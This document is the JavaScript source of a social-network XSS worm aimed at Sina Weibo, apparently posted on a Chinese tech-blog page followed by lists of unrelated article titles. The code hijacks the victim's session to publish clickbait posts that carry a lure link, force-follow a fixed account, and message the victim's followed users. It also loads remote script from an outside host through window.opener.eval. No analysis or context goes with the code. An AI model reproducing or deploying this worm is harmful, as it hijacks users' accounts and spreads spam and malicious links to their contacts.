function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard="true" title="[^"]*/g);
for(i=0;i<id.length;i++){
sum = id[i].toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true);
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id[i]));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

最新文章

  1. android 保存文件的各种目录列表
  2. php常用判断的函数
  3. BZOJ2120 数颜色
  4. BZOJ 1143 1143: [CTSC2008]祭祀river 最长反链
  5. Visual Studio Code 1.0.1 for python
  6. 关于css的兼容
  7. 【转】HashMap和HashSet的区别
  8. Android 访问Android Wear数据层Api——同步Data Items
  9. Struts2中的struts.multipart.saveDir的配置
  10. 压力测试Apache
  11. BZOJ1396 识别子串 字符串 SAM 线段树
  12. vue query或params传参
  13. nginx防DOS攻击
  14. tf.nn.dynamic_rnn
  15. PAT 1028 人口普查(20)(STL-set+思路+测试点分析)
  16. 【转】腾讯移动品质中心TMQ [腾讯 TMQ] 测试管理平台大比拼
  17. 源码分析一(Iterator、Collection以及List接口)
  18. 电子地图/卫星地图下载并转存为jpg图片
  19. 元类 metaclass
  20. python中常用第三方库记录

热门文章

  1. css3动画 bug
  2. 如何编写Iveely搜索引擎插件
  3. 如何添加win10命令提示符字体,美化显示效果
  4. Linux各目录作用
  5. redis学习笔记——(2)
  6. OneZero第一次会议(非正式)
  7. android学习——error opening trace file: No such file or directory (2)
  8. 【HDU 2222】Keywords Search AC自动机模板题
  9. Spring-事物的隔离级别
  10. iOS 知识点梳理